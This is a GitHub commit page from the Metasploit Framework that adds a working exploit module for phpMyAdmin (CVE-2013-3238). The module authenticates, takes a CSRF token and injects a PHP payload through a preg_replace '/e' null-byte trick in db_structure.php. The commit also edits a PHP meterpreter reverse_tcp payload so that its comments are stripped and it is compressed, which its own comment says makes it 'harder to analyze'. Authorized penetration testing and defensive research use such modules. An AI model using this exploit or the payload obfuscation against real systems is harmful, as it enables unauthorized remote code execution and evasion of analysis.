Skip to content

Commit 1d9a695

Browse files
committed
Landing rapid7#1772 - Adds phpMyadmin Preg_Replace module (CVE-2013-3238)
[Closes rapid7#1772]
2 parents 6821c36 + ccb630e commit 1d9a695

File tree

5 files changed

+332
-16
lines changed

5 files changed

+332
-16
lines changed

data/meterpreter/meterpreter.php

Lines changed: 11 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -265,7 +265,7 @@ function core_channel_write($req, &$pkt) {
265265
}
266266

267267
#
268-
# This is called when the client wants to close a channel explicitly. Not to be confused with
268+
# This is called when the client wants to close a channel explicitly. Not to be confused with
269269
#
270270
function core_channel_close($req, &$pkt) {
271271
global $channel_process_map;
@@ -297,7 +297,7 @@ function core_channel_close($req, &$pkt) {
297297
return ERROR_FAILURE;
298298
}
299299

300-
#
300+
#
301301
# Destroy a channel and all associated handles.
302302
#
303303
function channel_close_handles($cid) {
@@ -578,7 +578,7 @@ function handle_dead_resource_channel($resource) {
578578

579579
# Make sure the provided resource gets closed regardless of it's status
580580
# as a channel
581-
remove_reader($resource);
581+
remove_reader($resource);
582582
close($resource);
583583
} else {
584584
my_print("Handling dead resource: {$resource}, for channel: {$cid}");
@@ -822,7 +822,7 @@ function eof($resource) {
822822
#
823823
# See http://us2.php.net/manual/en/function.feof.php , specifically this:
824824
# If a connection opened by fsockopen() wasn't closed by the server,
825-
# feof() will hang. To workaround this, see below example:
825+
# feof() will hang. To workaround this, see below example:
826826
# <?php
827827
# function safe_feof($fp, &$start = NULL) {
828828
# ...
@@ -862,7 +862,7 @@ function read($resource, $len=null) {
862862
#my_print(sprintf("Reading from $resource which is a %s", get_rtype($resource)));
863863
$buff = '';
864864
switch (get_rtype($resource)) {
865-
case 'socket':
865+
case 'socket':
866866
if (array_key_exists((int)$resource, $udp_host_map)) {
867867
my_print("Reading UDP socket");
868868
list($host,$port) = $udp_host_map[(int)$resource];
@@ -915,13 +915,13 @@ function read($resource, $len=null) {
915915
break;
916916
}
917917
}
918-
918+
919919
if ($resource != $msgsock) { my_print("buff: '$buff'"); }
920920
$r = Array($resource);
921921
}
922922
my_print(sprintf("Done with the big read loop on $resource, got %d bytes", strlen($buff)));
923923
break;
924-
default:
924+
default:
925925
# then this is possibly a closed channel resource, see if we have any
926926
# data from previous reads
927927
$cid = get_channel_id_from_resource($resource);
@@ -948,7 +948,7 @@ function write($resource, $buff, $len=0) {
948948
#my_print(sprintf("Writing $len bytes to $resource which is a %s", get_rtype($resource)));
949949
$count = false;
950950
switch (get_rtype($resource)) {
951-
case 'socket':
951+
case 'socket':
952952
if (array_key_exists((int)$resource, $udp_host_map)) {
953953
my_print("Writing UDP socket");
954954
list($host,$port) = $udp_host_map[(int)$resource];
@@ -957,7 +957,7 @@ function write($resource, $buff, $len=0) {
957957
$count = socket_write($resource, $buff, $len);
958958
}
959959
break;
960-
case 'stream':
960+
case 'stream':
961961
$count = fwrite($resource, $buff, $len);
962962
fflush($resource);
963963
break;
@@ -1107,7 +1107,7 @@ function remove_reader($resource) {
11071107
case 'socket':
11081108
register_socket($msgsock);
11091109
break;
1110-
case 'stream':
1110+
case 'stream':
11111111
# fall through
11121112
default:
11131113
register_stream($msgsock);
@@ -1156,7 +1156,7 @@ function remove_reader($resource) {
11561156
if ($request) {
11571157
write($msgsock, $request);
11581158
}
1159-
}
1159+
}
11601160
}
11611161
}
11621162
# $r is modified by select, so reset it

lib/rex/proto/http/response.rb

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,28 @@ def initialize(code = 200, message = 'OK', proto = DefaultProtocol)
5858
self.count_100 = 0
5959
end
6060

61+
#
62+
# Gets cookies from the Set-Cookie header in a format to be used
63+
# in the 'cookie' send_request field
64+
#
65+
def get_cookies
66+
cookies = ""
67+
if (self.headers.include?('Set-Cookie'))
68+
set_cookies = self.headers['Set-Cookie']
69+
key_vals = set_cookies.scan(/\s?([^, ;]+?)=(.*?);/)
70+
key_vals.each do |k, v|
71+
# Dont downcase actual cookie name as may be case sensitive
72+
name = k.downcase
73+
next if name == 'path'
74+
next if name == 'expires'
75+
next if name == 'domain'
76+
cookies << "#{k}=#{v}; "
77+
end
78+
end
79+
80+
return cookies.strip
81+
end
82+
6183
#
6284
# Updates the various parts of the HTTP response command string.
6385
#
Lines changed: 181 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,181 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'phpMyAdmin Authenticated Remote Code Execution via preg_replace()',
18+
'Description' => %q{
19+
This module exploits a PREG_REPLACE_EVAL vulnerability in phpMyAdmin's
20+
replace_prefix_tbl within libraries/mult_submits.inc.php via db_settings.php
21+
This affects versions 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3.
22+
PHP versions > 5.4.6 are not vulnerable.
23+
},
24+
'Author' =>
25+
[
26+
'Janek "waraxe" Vind', # Discovery
27+
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
[ 'CVE', '2013-3238' ],
33+
[ 'PMASA', '2013-2'],
34+
[ 'waraxe', '2013-SA#103' ],
35+
[ 'EDB', '25003'],
36+
[ 'OSVDB', '92793'],
37+
[ 'URL', 'http://www.waraxe.us/advisory-103.html' ],
38+
[ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2013-2.php' ]
39+
],
40+
'Privileged' => false,
41+
'Platform' => ['php'],
42+
'Arch' => ARCH_PHP,
43+
'Payload' =>
44+
{
45+
'BadChars' => "&\n=+%",
46+
# Clear out PMA's error handler so it doesn't lose its mind
47+
# and cause ENOMEM errors and segfaults in the destructor.
48+
'Prepend' => "function foo($a,$b,$c,$d,$e){return true;};set_error_handler(foo);"
49+
},
50+
'Targets' =>
51+
[
52+
[ 'Automatic', { } ],
53+
],
54+
'DefaultTarget' => 0,
55+
'DisclosureDate' => 'Apr 25 2013'))
56+
57+
register_options(
58+
[
59+
OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
60+
OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
61+
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
62+
], self.class)
63+
end
64+
65+
def check
66+
begin
67+
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
68+
rescue
69+
print_error("Unable to connect to server.")
70+
return CheckCode::Unknown
71+
end
72+
73+
if res.code != 200
74+
print_error("Unable to query /js/messages.php")
75+
return CheckCode::Unknown
76+
end
77+
78+
php_version = res['X-Powered-By']
79+
if php_version
80+
print_status("PHP Version: #{php_version}")
81+
if php_version =~ /PHP\/(\d)\.(\d)\.(\d)/
82+
if $1.to_i > 5
83+
return CheckCode::Safe
84+
else
85+
if $1.to_i == 5 and $2.to_i > 4
86+
return CheckCode::Safe
87+
else
88+
if $1.to_i == 5 and $2.to_i == 4 and $3.to_i > 6
89+
return CheckCode::Safe
90+
end
91+
end
92+
end
93+
end
94+
else
95+
print_status("Unknown PHP Version")
96+
end
97+
98+
if res.body =~ /pmaversion = '(.*)';/
99+
print_status("phpMyAdmin version: #{$1}")
100+
case $1.downcase
101+
when '3.5.8.1', '4.0.0-rc3'
102+
return CheckCode::Safe
103+
when '4.0.0-alpha1', '4.0.0-alpha2', '4.0.0-beta1', '4.0.0-beta2', '4.0.0-beta3', '4.0.0-rc1', '4.0.0-rc2'
104+
return CheckCode::Vulnerable
105+
else
106+
if $1.starts_with? '3.5.'
107+
return CheckCode::Vulnerable
108+
end
109+
110+
return CheckCode::Unknown
111+
end
112+
end
113+
end
114+
115+
def exploit
116+
uri = target_uri.path
117+
print_status("Grabbing CSRF token...")
118+
response = send_request_cgi({ 'uri' => uri})
119+
if response.nil?
120+
fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
121+
end
122+
123+
if (response.body !~ /"token"\s*value="([^"]*)"/)
124+
fail_with(Exploit::Failure::NotFound, "Couldn't find token. Is URI set correctly?")
125+
else
126+
print_good("Retrieved token")
127+
end
128+
129+
token = $1
130+
post = {
131+
'token' => token,
132+
'pma_username' => datastore['USERNAME'],
133+
'pma_password' => datastore['PASSWORD']
134+
}
135+
136+
print_status("Authenticating...")
137+
138+
login = send_request_cgi({
139+
'method' => 'POST',
140+
'uri' => normalize_uri(uri, 'index.php'),
141+
'vars_post' => post
142+
})
143+
144+
if login.nil?
145+
fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
146+
end
147+
148+
token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first
149+
150+
cookies = login.get_cookies
151+
152+
login_check = send_request_cgi({
153+
'uri' => normalize_uri(uri, 'index.php'),
154+
'vars_get' => { 'token' => token },
155+
'cookie' => cookies
156+
})
157+
158+
if login_check.body =~ /Welcome to/
159+
fail_with(Exploit::Failure::NoAccess, "Authentication failed.")
160+
else
161+
print_good("Authentication successful")
162+
end
163+
164+
db = rand_text_alpha(3+rand(3))
165+
exploit_result = send_request_cgi({
166+
'uri' => normalize_uri(uri, 'db_structure.php'),
167+
'method' => 'POST',
168+
'cookie' => cookies,
169+
'vars_post' => {
170+
'query_type' => 'replace_prefix_tbl',
171+
'db' => db,
172+
'selected[0]' => db,
173+
'token' => token,
174+
'from_prefix' => "/e\0",
175+
'to_prefix' => payload.encoded,
176+
'mult_btn' => 'Yes'
177+
}
178+
},1)
179+
end
180+
end
181+

modules/payloads/singles/php/meterpreter_reverse_tcp.rb

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -33,11 +33,12 @@ def generate
3333
f.read(f.stat.size)
3434
}
3535
met.gsub!("127.0.0.1", datastore['LHOST']) if datastore['LHOST']
36-
met.gsub!("4444", datastore['LPORT']) if datastore['LPORT']
37-
# XXX When this payload is more stable, remove comments and compress
38-
# whitespace to make it smaller and a bit harder to analyze
39-
#met.gsub!(/#.*$/, '')
40-
#met = Rex::Text.compress(met)
36+
met.gsub!("4444", datastore['LPORT'].to_s) if datastore['LPORT']
37+
38+
# remove comments and compress whitespace to make it smaller and a
39+
# bit harder to analyze
40+
met.gsub!(/#.*$/, '')
41+
met = Rex::Text.compress(met)
4142
met
4243
end
4344
end

0 commit comments

Comments
 (0)